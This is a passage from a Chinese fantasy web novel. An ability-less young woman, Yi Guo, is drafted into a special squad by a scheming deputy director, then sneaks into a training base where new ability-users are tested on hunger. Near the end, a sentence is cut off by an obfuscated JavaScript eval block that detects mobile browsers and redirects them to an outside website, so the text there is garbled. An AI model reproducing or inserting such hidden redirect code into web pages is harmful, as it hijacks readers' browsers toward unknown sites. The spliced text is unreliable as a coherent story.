在异能评级部门上班的一个朋友跟我讲过,前几年测试不受限那会儿,种子测试的个人最高记录是98次。” 另一人立马接话,“没错,你说那测试人我也知道,检测圈里的名人了。也是真拗,大部分人两三次没过就接受现实了。那位呢,听说填报的异能项目还是高稀有度的咒言类别,做梦做了那么长时间都不醒,真不知道是幸运还是不幸。” 他们迎宾似的摊开手,催促易果快打开盒子,“你看别人那么多次都行,你这一点事都不会有。” “99了。” 易果脸颊红透,拿起盒子腼腆笑了一下。 “个人最,最高记录。”她扬起下巴,迎着调查员的诧异目光,郑重补充,说不上来在骄傲个什么劲。 听见她说话,贵客皱起眉。 紧接着易果深吸口气,摁开盒盖,熟练将种子放在掌心,两手交握。像每次一样,闭上眼睛,屏息三秒。 三秒过后,有人的种子能发芽,有的开花,更有佼佼者能一日成林。 而易果……她摊开手心,种子毫无变化,甚至还变皱巴了。 的确是个纯血普通人。 问讯室安静下来,忽然间,大家像同时丧失了兴致。易果在周身的沉默中,指尖轻轻摸了两下手里的种子,像某种安抚,随后贴心把种子放回盒子里收好。 两手老实揣着她的包,易果眨巴着眼睛,抬头看看这个,又瞧瞧那个。 两位阅人无数的调查员被瞧的说不出话,一时竟判断不出,面前这位到底是真可怜,还是在故意使坏,博取他们的同情。 这时,没关严的问讯室门外闪过一道魁梧人影,灰白色袍子,全包式防晒帽,如一只气势逼人的夜行大蛾,翩然经过。 测试结果已出,贵客对调查员点点头,收起手提箱快步出了房间。 看着对方离开的背影,易果有种预感,自己很快就要被释放了。 问讯室外,走廊的尽头,刚从房间里出来的面具男和“夜行大蛾”避开监控,站在立柱后面。 “大蛾”就是现管控局副局长凤久,面具男则是他的得力秘书周可行。 凤久解开防晒面罩透气,两道浓眉间,一条骇人长疤斜过半张脸。虽然人过中年,但常年自律让他体格依然结实健硕。 凤久冒着曝光风险,潦草做了伪装,亲自来这里调查易果,一方面是因为机器狗记录的任务影像里,有不少时间,易果大剌剌牵着那位杀神溜来溜去,到头来竟一根手指没掉,实在让人费解。 另一方面,也是最重要的,死而复生的前局长刑与身上,有太多疑团。对任何可能的线索,他们都不敢大意。 四周僻静无人,迎着头顶的灯光,凤久仔细看了看那颗干瘪的种子,吩咐秘书: “既然排除了嫌疑,就尽快把人放了。一个普通人而已,不会是他的同伙,应该都是巧合。” “知道了。”周秘书正转身去通知问讯室放人,没迈出两步,忽然又被叫住。 “等会儿。” 凤久托着下巴皱眉思索,神情越发严肃:“她没有异能,而且看起来注意力涣散,不够机警,智力水平大概率不行,生存能力也堪忧,还是个小结巴……” 周秘书把脚收回来,但下一刻,“但她立场正确,这样的年轻人,就该善待,加倍善待!” 凤久点开无线耳机,眯起眼睛,不知道第几次又听了遍易果在任务现场“大骂”前局长皱巴掉牙的音频回放,续了命般长长呼出一口气,打了鸡血似的“呼”一声“哈”一声原地转了两圈,兴冲冲交代秘书: “工作给她留住,不,直接如她的愿,破格给她调进特遣队。也别折腾了,就三队。” 8. 0收惩罚 当年前局长刑与“牺牲”后,为纪念他,管控局不再任命新局长。局长职位空置,下设两位副局长管理管控局事务。 算算时间,凤久这个副局长已经当了十多年。干着正职的活,名字前却时刻挂着个“副”字,这怨愤在他心里也攒了十多年。 眼看新的任职评选就要召开,他一个副职终于有希望变“正”,偏偏这时候,前局长刑与“死而复生”。 “001号队员刑与归队。” 通讯器里传出的声音,一如当年那样淡漠,傲慢,不可一世。短短一句话,对凤久来说,不亚于白日噩梦。 下午管控局前采访结束离场的时候,他听见人群里有人议论: “既然人没死,要是还像以前一样厉害,那就该让前局长回来继续当局长。” 凤久两个拳头都要攥碎,那股灼心的焦躁和愤怒,一直持续到他从虞渊任务现场记录片段里,听见易果如何“大骂”刑与“皱巴掉牙”,这才得到了缓解。 凤久撑着一侧栏杆,两颊红润自带高光,激情地比划来比划去: “在我看来,不管有没有异能,上进的年轻人,尤其能明辨是非善恶的年轻人,就该获得重用的机会。” 上一刻还要被关押的嫌疑人,就这么转眼成了被破格提拔的可造之材。 但人精周秘书总觉得,他上司与其说“欣赏”那小结巴,不如说更像逮到了有趣的猫猫狗狗,怎么安置全凭一时高兴,根本不在乎对方死活。 周秘书抹掉手心冷汗,小心插了句嘴,“凤一鸣队长那儿恐怕……” “她不乐意也得忍着,现在只她三队有空缺。” 一提起自己这个亲侄女,凤久就一脑门子的火。这次禁区任务,凤一鸣贪功冒进,又是搞小动作又是不听指挥,一点儿名堂没弄出来,反给他惹了不少麻烦。 “给她身边放个可怜虫做参考,也能让她知道自己的异能有多珍贵,好好精进自己,分散分散没用的精力,少给我惹事。” 凤久边说边搓着那枚半死不活的种子,轻瞄淡写地,安排好了易果进三队后的真正用途。 在秘书惶恐的注视下,他忽然又笑起来,“再说那小结巴也不是全无优点。” “她运气多好,背着个破包去禁区,竟然能囫囵活下来。” 秘书立马跟着笑,“的确,调查反馈说,她身上只装了些吃的。明明遇上成熟期蚀鬼,炸弹还发生故障,真是少见的命硬……” “什么蚀鬼。” 凤久忽然摘下耳机扭过脸,笑眯眯地,将耳机捏了个粉碎。下一刻秘书就被攥住衣领提起来,一米八几的个头,硬是被悬到了半空。 “现场发现蚀鬼的残尸了吗?”凤久问。 “有目击者吗?”凤久又问。 秘书知道自己说错话踩进了凤久的雷区,吓的嘴唇发青,电打了似的连连摇头。 凤久这才松开手,咬紧后槽牙,一字一句最后提醒: “一,虞渊禁区从头到尾都没出现过蚀鬼。二,谁谁徒手暴揍蚀鬼更是从来,从来没有发生过。三,蚀鬼可能出现的区域皆在我方严密监控下,个别反常个体不具有代表性,不值得过度关注。记好了,没有下次。” 机器狗身上安装了能自动触发的洗脑程序,触发条件——疑似刑与的任何个体。 这秘密,就连周秘书也是刚知道。 洗脑程序一旦触发,经过咒言强化的声波便会扰乱目击者的记忆。事后只需几句简单引导,就能从目击者的脑海中抹去刑与,以及相关有害物的存在痕迹。 凤久也说不清,在虞渊禁区行动开始前,自己是不是预感到了什么。 但此刻他十分庆幸自己做了这个防范。 眼下三队全员被洗脑程序攻击后,已经失去刑与和蚀鬼的相关记忆,机器狗记录的现场视频也已经被他亲手销毁。 至少现在,刑与在禁区显露出的,那对蚀鬼堪称惊悚的压制力,还无人知晓。 一切仍然在他凤久的掌控之中。 凤久站在廊柱的阴影下,眼神晦暗,幽幽开口问道,“体检应该结束了,那边怎么说,他真的觉醒异能了?” “是。” 秘书按住喉咙咳嗽了几声,不敢多耽搁,将收到的信息逐字转达。 医疗专家与异能检测专家已经确认,刑与身上虽然有伤口,但没有被侵蚀的迹象。目前刑与“复活”的原因不明,二十年过去,容貌与身体机能不见衰老的原因也不清楚。 可有一点他们都很确定,刑与已经是一个新生异能者。 按正常流程,刑与已和其他刚被解救的新生异能者一道,被安置到专门机构,开始了为期一周的考察期。 凤久阴测测探过身子,意味不明地伸手在脖子上划了一下: “就没有从他身上发现什么不该有的东西?” 秘书摇头。 “不过是一个‘死人’,一个命硬到邪门儿的‘死人’。” 凤久在栏杆前来回踱步,低声反复咒骂,“到底怎么回事,分明当年我们……” 话说一半他猛然惊醒,立刻止住了话头。 前方一团又一团光晕,越过层层屋脊穿过走廊,柳絮般飘落到他手背上。 远处城市中心灯火璀璨,蓝宝石色夜幕将高耸的楼群切割出锋利又耀眼的边缘。快速通道龙蛇般盘旋于楼体间,红色游览电车穿梭其中,串联起半空中一个又一个悬浮许愿池。 漫溢的池水次第倾泻,如流金,无穷无尽流淌。所有光芒都来自这一切虔诚仰望的核心—— 神树鲸杉,正舒展开繁茂的巨大树冠,枝干盘绕又无限延伸,悠然连接于天地之间,构成世界骨架的一部分。 “神树啊神树,你到底在想什么。” 凤久甩了甩手,眯起双眼,抬头望向远处的神树。 异能者管理办法规定,未受侵蚀的健康新生异能者,安全通过考察期后,便能获得新的身份证明,重新融入社会。 到时候其异能测评的等级越高,能筛选的工作层级就越高,优秀者更有机会加入管控局猎人特遣队。 像与远处神树遥遥呼应,凤久手心干瘪的种子,开始散发出呼吸一般起伏的光芒。 凤久双目中血丝交错,低头凝视种子,狰狞刀疤像把脸割成两半,一半凶狠,一半恐惧。 他忽然使出全力,碾烟头似的把种子摁在栏杆上来回碾。拱起后背,胸腔发出“咯吱咯吱”的怪声。 乍一听像哭,再一抬头,竟是在狂笑。 “就算你再厉害又有什么用,今非昔比,早已今非昔比了呀。” 凤久骤然收紧手掌,就像攥住了刑与的把柄。 咒言锁链,凤久没想到竟能从机器狗记录的视频里看见镇凶匣的咒言锁链,那禁锢凶徒邪怪的利器,如今竟然牢牢套在刑与自己的脖子上。 “一条狗,活像一条野狗哈哈哈哈……” 凤久笑的上气不接下气,周秘书缩到一旁,速效救心丸都掏出来了,只见上司猛地又正了神色,就像什么都没发生过一样: “前局长很危险,我决定了,为了所有无辜民众的安全,我凤久不能袖手旁观。” 凤久披斗篷似的振臂一挥,扑棱开他的防晒罩衫,边说边推开一侧消防通道,大步往外走。周秘书认命地又把速效救心丸塞回裤兜,小跑跟上。 “考察期,考察期……” 凤久反复念着这几个字,突然提问秘书:“小周,你觉得刑与现在最大的弱点是什么。” “他饿。” 不等回答,凤久就迫不及待亮出了答案。 考察期将考验异能者在各种极限状态下,对暴*力行为的自控能力。其中重点考验的,就是饥饿状态。 凤久笃定,只要趁机稍加“助力”,刑与必然会在饥饿中原形毕露。 他招呼周秘书到跟前飞快耳语几句: “……两天后正巧是往各个负责考察期的单位运送补给的日子,到时候运送车……交给二队。” 周秘书又想掏速效救心丸了,“要是不上钩……” “有‘那东西’在,到时候人都饿疯了,没别的选择。”凤副局长冷哼一声,“除非……” “除非?” “除非有人能先一步捕获他、喂饱他,送菜上门,送菜进嘴,直喂到他收起獠牙,善心大发,硬要重新造福社会。” 话说的太离谱,凤久自己摇头笑出声。亲手组建精英队这么多年,还从没见过这号离奇人物。 说着他甩手扔垃圾似的,扔了那颗皱巴巴的种子。种子在地上弹了一下,穿过即将合拢的小门,沿墙根一路滚走。 他最后交代秘书,被机器狗洗脑程序攻击过的脑子,至少得恢复半个月,非异能者更别提,复杂任务肯定不能碰: “明天就把凤一鸣他们三队扔到郊区打杂,事关重大,最近什么都别让她乱掺和。” 两天后,一辆不起眼的黑色小车里,车上的人齐齐打了个喷嚏。 正赶上傍晚车流高峰,来往乱七八糟的交通工具“枝枝杈杈”地堵在窄道上。 这里是紧邻神树所在中心C区的著名老式居民聚集区,“灯下黑区”。由于居住人口密度太大,开发困难,街巷和住宅楼外观还停留在十几年前,看起来与中心区十分割裂。 灯下黑区是目前唯一异能者和非异能者混杂的区域,各方管理都很混乱。 街边小吃摊上,老板正舞龙似的,往刚出锅的干炸小河虾上泼洒孜然辣椒粉。隔壁爆炒八爪鱼摊子的大锅里,更是狼烟滚滚。凤一鸣揉着鼻子,嫌弃的白了眼车窗外面,立马把窗户关上。 “奇怪,真奇怪。” 他们三队刚顺利完成护送补给车的任务,已经在返程的路上。 问题就出在太顺利。 每月一次,由神树净化过的河水浇灌、饲养出的各类优级食材,会在专车运送下,由远郊送往市内各重点区,供异能者食用。这一天,对于格外珍贵的食材,特遣队也会被派去协助护送。 几天前,凤一鸣被凤久警告“老实反省”后,整队被打包“流放”到了郊区补给运转中心,帮着为今天的运送任务做准备。 按理说,三队这会儿应该在运转中心的仓库里帮忙数菜蓝子,谁让凤一鸣午休时,听见运货司机夸了一嘴: “你们特遣二队的新作训服真拉风。” 再一细问,是那司机师傅在管控局卸货时,无意中瞧见二队扛着最新装甲护具、机械外骨骼,还有几个便携医疗箱从车前经过。 二队今天有大动作。 还是有意撇开她们三队的大动作。 凤一鸣当即眼一热心一横,偷偷调换了该由二队负责护送的任务单,自己带人押车,抢先顺着地址杀过来。 可没想到,到地方后,从补给进站交接到他们掉头离开,平平常常的,竟然真的只是送了趟菜,什么都没发生。 这会儿车里抖腿的抖腿,挠头的挠头,凤一鸣脑门顶着车玻璃,限量版镶钻大头苍蝇似的,一下又一下往上磕。 “可能地址有误。不行咱们就直接去跟踪二队,只要发现他们干私活,就趁机抢他们的功,再反手一个举报。” 凤一鸣嗓子还哑着,得意地冷笑,一双细长眼再度阴险眯起。 “收到。”张哥猛拍方向盘,下一刻又呆住,怯生生咧开嘴问,“咱们去……跟踪啥?” “废物!我刚说……”凤一鸣突然也卡住,“等等,你,你说我要去干什么来着?” “嗯?我没说话呀。” “什么?一直都是我在说话?!!” 著名精英二代凤一鸣摇骰子般绝望地摇晃自己的脑袋,“我的脑子,救命我的脑子……” 全车大惊失色,各自抱头惶恐,都觉得队友在禁区中了什么了不得的降智诅咒,话越说越听不懂。 有人小声嘀咕,“咱们是不是,被新来那个传染了?” 三队全员齐齐一愣,终于找到了自从易果被塞进队以后,自己记忆混乱、身上哪儿哪儿都不对劲的根本原因。 “传染了什么?” “怕不是某种痴呆病?” “害呀——” 张哥锤了两把大腿,仰头往嘴里猛倒提神健脑脆珠超劲薄荷糖。 下午出发时,他们莫名觉得今天送菜这活儿,不能让易果沾一点手。于是默契地,把易果一人扔到了郊区。 “看来扔的还是不够远。” 亲叔叔那儿凤一鸣不敢违抗,但早就想好了对策。 她捋了把刘海,阴狠一笑,亮出手里崭新的商品标牌: “别慌,行李箱我已经买好,回去就把她关进去。只要等上几……” 凤一鸣转眼忘了跑这趟远路的目的,半遮住嘴,津津有味开始讲解她将如何用最短时间把易果彻底赶出特遣队的凶残计划。 谁都没注意,这时后面没盖严的后备箱贝壳似的轻轻一张,钻出一排江米条一样的嫩白手指,又一拱,小鸟一样圆溜溜的大眼睛眨巴眨巴,顶出半个圆脑袋。 “surprise~” 易果蹲在凤一鸣那专门为她买来的超大行李箱上,伸长胳膊,接过外面小吃摊阿姨递进来的一大袋子水煎包,埋头啃了一大口: “要,要杀人啦,好害怕呀。” 她一边偷听,一边朝热闹的老街摇头晃脑,掐着嗓子学凤一鸣说话。 “笑死,我才没病。” 易果愤愤抹了把嘴。她一早识破队友要丢下自己的意图,扒着车一路跟过来,没想到竟听到惊天大瓜。 “朋友,祝你平安。” 易果双手合十,面朝 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易果一抬手,往人家没拉严实的小书包里,投了一颗夹心水果糖。 又一抬头,瞧见条蓬松小黑狗在路边柳絮堆里拱进拱出,闷头打了个喷嚏。 黑色毛毛,惹人怜爱。 易果一探身,包子精准落到小狗嘴边。她越瞧那黑色,越觉得亲切,越心痒,越迫切地想占为己有。 等等,我是不是丢了什么黑色东西? 念头一冒出来,易果立刻脑仁发疼,头皮发痒,像有里外两股势力在她脑袋里玩儿命互殴。 这时一群黑底麻灰色翅膀的小鸭跟着个大爷,乖巧地,一摇一摆地,排队穿过马路。 易果挠头的胳膊顿住,忽然连招似的疯狂朝人家投掷包子皮。 大自然的奇迹,这种行为叫什么来着,印随,印随行……为! 一瞬间,易果像听见一声脆响。迫切复苏的记忆,终于成功打破洗脑咒言的禁锢。 脑袋里无形玻璃罩被冲破的刹那,眼前世界如同被暴雨冲刷而过,支楞楞一抖,哪里都一样,又哪里都变得不一样。 鲜活百倍。 与此同时,易果的智力和被封禁的记忆片段一同回归,耳边杂乱的电流声消失,易果终于再次听见系统的声音。 “谢特,他们要关的是你,快动起来!哎呀还有0收惩罚,没时间了,没时间了啦!” 忽然一切像开了倍速,易果重逢的热泪都没来得及洒,先被系统催着,慌慌张张抬腿往后备箱外翻。 “这几天,你,你失声了?”易果委婉抱怨。 “简直是危言耸听!” 系统嗓子哑的,一出声像要擦出火星子,“咳咳咳,是你被那鬼玩意儿声波伤了脑子,智商掉线,人话都听不懂了。 两天,老子可是没日没夜对你嚎了整整两天!” 别的没时间细说,系统催促易果先从三队这儿脱身,“快点快点,过了今晚十二点,如果你还是一个‘人头’都没入账,那后果可比嘎掉还糟一千倍一万倍。” 易果“哼哧哼哧”,一条腿都挂后备箱外面了,又卡住不动弹了。 前面是无良队友,后面是系统惩罚,往哪儿逃? 想到凤一鸣折腾了一下午的疯癫举动,易果心头一动,暗搓搓回头看。 车堵在路上开的很慢,离他们刚才送补给地方——“十八号人才培训基地”还没超过一百米。 那不是现成的任务点吗? 易果直觉那地方有蹊跷,只是凤一鸣他们脑力不济没能发现。 “想都别想。”没等易果张嘴,系统先冷酷地给了她一下子。 “那我战利品,还有帮手,在哪儿你知道?” 被易果喂到撑晕过去的那群水马,离成功转化只剩最后一步。若想尽快摆脱0收惩罚,找到水马显然是目前最节省时间的方案。 而帮手,易果一想起他同手同脚的懵懂样子,就深感肩上责任重大。 没听见系统应声,易果觉得奇怪,又换种问法,“他们离这儿,近不近?” “赶快走,我掐指一算,今夜此地必有大不详。”系统着急躲瘟神似的,神叨叨警告易果。 易果立刻缩回脑袋,护住挎包,小心往四周瞄了一圈。经过这次波折,看起来的确成长了不少。 “还得是你,敏锐,第一。” 易果朝系统晃晃大拇指,模样特别真诚,“障眼法,就骗,骗不了你呢。” 她尾音拖的长长,边说边甩着包上的小挂件们,眼睛投向灯火次第亮起的熙攘街道,眼神飘过来,荡过去,忽然莫名其妙皱起眉开始自我反省。 嘀嘀咕咕念叨水马只知道贪吃,帮手道都走不直,恐怕没资格进人才基地。就算真被安置进去了,也没值得二队全副武装出动的价值。 “……二队,肯定看不上。” “那可不一定。” 系统飞快回了一嘴,随即猛地一颤,立刻熄声。 易果低头,安静瞅了会儿她自动拽紧拉链,恨不得再打个死结的包,猛然一个激灵,炸起膀子翻下车。 她翘着嘴角,得逞的快要笑出声。起初她只是猜测,没想到自己的战利品们真的近在眼前。 满身的牛劲终于找到了出口,易果片刻都不想耽误,抡起她包子朝不远处的人才基地颠过去。 “小饭桌”挎包迎风胀满,嘴巴似的一开一合,“哎哎哎你别冲动,不是我瞒你,我也不确定那地方有什么。我只是捕捉到一股矛盾又不安的,很快要失控爆发的致恶黑暗不详气息。” “吓人。”嘴上这么说,易果两条腿颠的更快了。 “可就算真找到你的战利品,不能用咒言唤醒他们的神智,还是白干。” 易果一个急刹,停下了。系统提醒了她,上次在禁区,就是差了咒言这最后一步。 忽然想到什么,她转身朝三队那辆车看过去。亮橘色的街灯光芒在她眼中灵动流转,睫毛翕动间,她双眼中渐渐生出一丝狡黠。 “放心,有,有数。” 不靠谱和自信再度在易果身上达到惊人的和谐统一。 她扬起下巴,比了个超大“OK”。拍了拍身前的挎包,矮身兴冲冲朝凤一鸣所在的副驾驶位摸过去。 无人在意的车载电台里,正在插播一条交通提醒: “……由千里马公司运输,特遣队护送的一级危险品大智若鱼果,当前已到达xx路段。 大智若鱼果具有强烈毒性与精神制幻性,极易催化个体进食欲望,催生致命暴*力行为,已多次引发严重群体伤害事件。 运输车上带有醒目警示标识,为了自身安全,请路过车辆注意避险。” 9. 她是真菜 易果在管控局公益岗“战利品养护”部门工作时,每周都要接收不少被特遣队救援的新生异能者。 这些异能者里,伤势过重的会被送往专门机构治疗,而身体状态良好,并且异能评估有潜力的,则有机会被选入人才培训基地,接受他们重新回归社会前的,最后一道考验。 作为无异能者,易果没有踏进培训基地的资格。有一次,她刚调养好的战利品要被送进基地前,易果不放心去问了她组长: “基地环境,什么样?” 组长表情复杂,只摇摇头,“每个考察周期,都有新生者进去后就再没能出来。” 弱肉强食。 就易果目前所知道的,培训基地里都是从各犄角旮旯里淘来的新生异能者,才刚有个人样,心智还不稳定,容易发生摩擦。要是里面再混进个异能强悍又脾气顶天的,一旦打起来,少不了得这个活,那个死。 比如这回凤一鸣从二队眼皮子底下偷来的任务单,易果猜测,押车送菜只是顺带,二队真正的任务目标,肯定就是这十八号人才训练基地里的,某个听不懂人话、揍人上瘾的虐待狂大魔头。 就像系统感应到的,对方已然化身致暗邪恶小火山,马上就要“失控爆发”。 所以她得赶快把自己的宝贝蛋“战利品”们从基地里捞出来,避免被邪恶火山误伤,也落个有进无出的下场。 于是易果很快到了训练基地入口,灰色帽衫遮住脑袋,身后还拖着凤一鸣那个迷彩色超大行李箱。 受限于街道布局,基地正门不算大。值班岗亭一侧紧挨着三个自动闸机。两侧高墙电网延伸进通道深处,透出股森严。 “哎不是,你就这么杵人家大门口了?有没有点要抢人的专业精神,你怎么不先按个门铃呐。”系统压着声,嗓音憋的呲火。 “没,没门铃。” 易果摇头摆尾,又往值班亭的窗户前凑了凑。 果然,跟刚才他们三队进来那会儿一样,两名值班员站的笔直,看起来在面朝入口认真警戒,实际眼神早就飘到街对面花花绿绿的小吃摊里。 人瘦的,像两个成精火柴头,满脸恍惚,完全就是两个摆设。 易果放心经过,低头间忽然一个东西直愣愣从头顶砸下来。 她猛地跳开,掉到脚边的竟然是只看门鹰,活活饿成了个鸡毛掸子。鹰嘴上箍着黑乎乎的一团,不知道什么东西。 “吓老子一跳!”系统骂骂咧咧,“这地方什么毛病,怎么一个个都饿成这副鬼样子。” 易果又看了看鹰被捆缚的喙缘,隐隐感到一丝不安。她把鹰安置到墙根躺好,转身走到闸机口,掏出了凤一鸣的特遣队队长权限卡。 没想到闸机竟然没像之前一样放行,机械臂猛一掉转,伸出一截枪口,抵住易果的脑门。出声警告: “十八号基地考察期进行中,不明食物禁止入内。” “咦?”金属枪口透心凉,冰的易果脑仁发麻,僵在原地。 “你跪下喊它奶也没用,包子!快把包子扔开!” 易果立刻照系统说的,扔了包子,身上该掏的兜也全都掏干净。 她再次刷卡,谁知闸机还是拒绝她进门: “不明食物不得入内。” “它什么意思,阴阳我呢?” 系统不耐烦,敞着包嘴恨不能直接往那机器膀子上招呼,“别光看我名儿,我现在就是个包,瘪的,空包包,areyou懂?没脑子的玩意儿。” 易果浑身上下又摸了一遍,心里嘀咕这个培训基地的食物安全管理真是严苛到变态。 这时迎面一阵风吹掉她的帽兜,一直悬在半空来回扫描她的闸机监控头,猛地缩回又伸出,给她拍照似的,左一下右一下扭起来: “不明食物……不对,奇怪,给我看一眼。”“真奇怪,再看一眼。” 它像突然陷入某种混乱里,剧烈摇摆中呲出连串电火花。易果趁机躲开机械臂的阻拦,手脚并用在地上爬,终于成功潜入基地。 一路上没有看见培训期的异能者自由活动,有些冷清,不知道是不是因为这基地各方面管理格外严格。 “救了水马立刻走人,另一位别管,他早就到可以独立的年纪了。” 系统一边大敞着“小饭桌”包嘴,奋力搜寻周围熟悉的气息,一边嘱咐易果。 易果听系统那语气,就像跟帮手结了仇似的。她不解,“帮手不是你,你给我找的?” “我不儿,不是我,我……害!” 系统有苦说不出,给找的真正帮手这会儿正一个个瘫在易果头顶,奄奄一息。 从禁区回来后,“蹦豆精”们没日没夜的给易果修复身体,过度操劳,让本就不富裕的mini体格更加缩水。又因为“小饭桌”处于受罚期,没的吃,它们这会儿连“蹦豆”都算不上了,小的几乎肉眼看不见,说出来都没人信。 系统小手绢愤恨咬了半晌,突然一本正经开始跟易果分享这些天最受关注的热门大事件: “听我说,各区排得上号的人才培训基地外面,眼下都有不少记者和热心市民蹲守。事关管控局的权力更迭,所有人都想第一时间得到前局长刑与考察期的结果。 但要说‘押宝’的话,绝大多数有脑子的人都没选刑与这边,都觉得他熬不过考察期,毕竟从禁区那地方……” “他才,才不在基地。” 易果难得着急发表见解,克制地对记者和热心市民的判断能力表达了一番不屑。 系统纳闷儿,问易果觉得刑与在哪儿。 “他当然……” 这时,前面路口拐过来一队巡逻员,一沓子瘦扑克牌似的飘飘摇摇经过。易果立刻蹲进树丛里躲了一会儿,人晃远了,她溜墙边继续往里走。 “他得先进医院养,那么,那么惨的人。” 易果说着按了按胸口,真情实感心疼人家似的。 全世界都在关心刑与是黑是白,只有易果,始终坚定的在意着昔日战神的腿脚和牙口是否安好。 角度之刁钻,要不是她包上挂的祈福娃娃屁股后面都缀着“刑与”的大名,任谁看她都是个纯纯黑子,在大肆嘲讽前局长连进培训基地的资格都没有,唯一的归处,就是窄巴巴一张病床。 “脏,骂的真脏,这次可不敢再让他听见了。”系统震撼中带着一丝解恨,郑重劝告易果声音小些。 易果还在那儿好奇心泛滥,“怎么,突然提他?” 系统憋不住了,在它看来,那头可是个抬抬眼皮就能让跟前这傻der战绩清零的阴狠小心眼儿,现在不说清楚,一会儿绝对更完蛋。 “前局长就在这里!”系统急吼吼地,恨不能把每个字都塞进易果脑子眼儿里,“就是你的帮手,你的战利品,而且不是个好东…” 易果“噗呲”。 系统:“……” “你,你不这么说,我也善待他。” 易果弹了一把“小饭桌”,拽啊拽的蹭了下自己鼻子: “我的头号战利品,我永远负责。” “啧啧,听得人家还怪感动的。” 系统嗓子不自觉柔和许多,满包挂件配合扑簌簌摇摆,但猛地又顿住,“不是,又歪了,你负不了责!就是传闻中刑与那些死忠跟班都找来也办不到!” 它让易果往不远处的训练广场看,那里正中间竖着一面大屏—— 十八号基地第xx次考察期,关键数值监测中。 屏幕左侧一列人员编号,右侧一列标红的数值条: 饥饿暴虐值。 即个体在饥饿状态下,发生暴*力行为的实时数据监控。 想到进入基地后看见的一系列反常,易果顿时明白了,新生异能者在考察期考验的核心能力,竟然是饥饿耐受度。 仔细一想也对,异能者身体消耗远超常人,饥饿一直是每个异能者的最大弱点。 就易果平时接触到的职业异能者,食量上都十分自律,吃什么、吃东西的时机也都别有讲究。 当前的社会共识就是这样,若一个异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579820|171594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能者容易在饥饿状态下失控,那么所有人都会默认,对方迟早会变成和乱啃乱咬的蚀鬼一样的怪物。 为了民众的安全,在新生异能者回归工作岗位前,严格考察他们自控饥饿的能力,十分必要。 但是…… 易果转念一想,要是个别接受考察的异能者,天生就不耐饿,一旦饿疯了,超出控制,这整个基地岂不是会变成对方的自助盛宴。 像在印证易果的猜想,前方数值监测大屏上,饥饿暴虐值那一列,某人的数值进度条像把红色匕首,早就穿破了同期平均线,并且离极限值越来越近。 系统没唬她,这恐怕就是它一早捕捉到的那股即将爆发的,“致恶黑暗不详气息”。 “所以我一开始就说,别进这基地。”系统声音跟着紧张起来,“个体异能越强,承受的饥饿痛苦越大,情绪就会时刻处于易燃易爆的极危险状态。尤其你那‘帮手’,恐怕……” “很危险。” 易果浑身猛一哆嗦,脸上血色全掉,“吃掉,会被吃掉。” “啥,啥玩儿?”系统品了两秒,声嘶力竭嗷嗷大骂,“你的‘危险’我的‘危险’,好像不一样呐亲!” 此刻,前资深战利品保养人员易果,满心都是对自己独一无二·珍稀·孱弱·懵懂的头号战利品胳膊腿完整度的深切担忧。 若那位“致恶火山”彻底失控,最先遭殃的必然是其同期的受测试者。 或许这就是培训基地“有进无出”的真相,有些新生异能者在考察期中是被同伴当菜吃掉了! 按照老弱病残优先的捕食礼仪,这次最先被啃的,极可能就是她易果的战利品。 易果慌张中,眼睛忽然一亮,揣起她身上的“小饭桌”挎包。 如果能像在禁区那样,用吃的贿赂那邪恶火山的嘴巴,就能救下自己战利品的命。 然而她低头掏了一把,眼中希望的小火苗转眼就灭了。 她的包,空的。 还在处罚期,她的“小饭桌”,没菜。 而且这地方对食物严格管控,整个基地上下都跟着禁食挨饿。她就算想去抢,也没地方抢。 易果垂头抱着空包,原地打哆嗦。脑中已经开始预演,她战利品被啃的凄惨画面。 “呱——” 忽然前方小路尽头,几颗女贞子树后面,传出一大声悠长又嘹亮的饱嗝。 那巨大饱嗝慵懒中夹杂几分野性,附带一丝恶心的韵味。在这基地静谧的饥饿夜晚,显得十分诡异。 易果的头发和浑身汗毛当即一同炸起,迅速躲到身旁布告栏后面。 路那头过来福娃似的一个男的,脸大如鲜肉月饼,胖的活像块长腿的五花肉。隔着这么老远,都能看出他气色极好,浑身散发着营养过剩的美丽。 “哎呦这位,刚吃了几头牛吧。”系统嫌弃地捂嘴。 易果心头猛地揪紧,一口气差点没喘上来。以为迎面撞上了致恶火山本人,对方那肚子,怎么看都是刚大吃一顿,饱餐过头了。 但她又仔细一瞅,路灯下对方身上穿着白围裙和牡丹花袖套,头上还罩了个一次性发网。 是个厨子。 很快胖厨子身后又冒出两个胖厨子,两男一女一共三人。推着个小三轮上,上面装了个冰柜大小的货箱。 易果立马认出那货箱上的黑色飞马标识,是千里马运输公司的专用冷链配送箱。 看颜色和大小,就是下午三队送来那个补给箱。 一个装满了专门农场出产的各类纯净、新鲜、营养丰富的优级食材的,满当当一个补给箱。 几人哼哧乱喘地合力推着小三轮,经过易果后拐了个弯儿,朝像是食堂的方向过去。 箱子似乎格外沉,一半屁股蹭在地上,沿路发出比指甲盖抠黑板还让人牙酸的声音。 但这声音在易果听来,无比悦耳。 易果眼睛直勾勾盯着那箱子看了片刻,收紧帽兜拉绳打了个蝴蝶结,抬脚悄咪咪跟上。 菜来了。 10. 菜精的品格 三个厨子边走边聊,可能是吃太撑的缘故,步子迟缓,动作也慢吞吞,反应力和脑子受伤的凤一鸣等人,不相上下。 易果得以一路顺利跟着他们穿过训练广场,到了基地食堂的侧门前。 食堂正对着两栋联排小楼,看起来像住宿楼,但窗户全部封死,如同一个密不透风的旧铁桶。而食堂另一侧是道顶端装有防攀电网的高墙。从墙的另一边不断散发出一阵又一阵垃圾的酸腐气味,那边看起来应该是个废物处理场。 墙面正中留了个四四方方的上锁小门。门锈红色,锁是绿的,像个熟透的烂番茄,经过时易果多瞧了一眼。 易果以迷彩行李箱为掩体,厨子们往前挪一步,她就跟上一步。 “别跟那么紧。”系统比易果还紧张,“这是行李箱,不是隐形衣!干,他们还真没发现。” 